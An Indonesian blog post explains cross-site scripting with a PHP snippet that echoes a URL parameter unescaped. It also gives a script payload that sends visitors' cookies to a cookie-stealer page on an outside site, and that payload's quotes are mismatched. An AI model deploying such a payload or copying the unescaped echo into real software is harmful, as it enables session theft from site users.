Goedangilmu

XSS (Cross Site Scripting)

Posted on July 30th, 2008 in Web Development, 191 views

XSS atau Cross Site Scripting adalah salah satu cara untuk melakukan hacking, secara umum cara ini biasanya memasukkan perintah javascript ke dalam halaman web dengan tujuan untuk mencuri cookies dari halaman web yang biasanya mengandung data yang penting misalnya informasi login.

Contoh :

$id = $_GET['id'];
echo 'Displaying news item number '.$id;

Jika  $_GET['id'] berisi angka maka hal ini tidak akan menjadi masalah tetapi jika mengandung script berikut :

<script>
window.location.href = "http://chat2konco.com/cookie-stealer.php?c=' + document.cookie;
</script>

Maka ketika web scripting mengeksekusinya cookies dari pengakses web tersebut akan terkirim ke penyerang dan akibatnya penyerang tersebut dapat mempergunakan cookies tersebut untuk login.

Related Posts :

• Cara Mencegah XSS
• Proses Input Pada WML
• Sql Injection
• Blogging Dengan BlogJet
• Cara Kerja Spider Dalam Search Engine
• Setting Quick Menu di Motorola L6i dan L7
• The Harder a Link Is to Get, the More Valuable It Might Be
• Pemasangan 2 Keping Memory Komputer
• Plugin Wordpress MaxBlogPress Stripe Ad
• Gears di Wordpress 2.6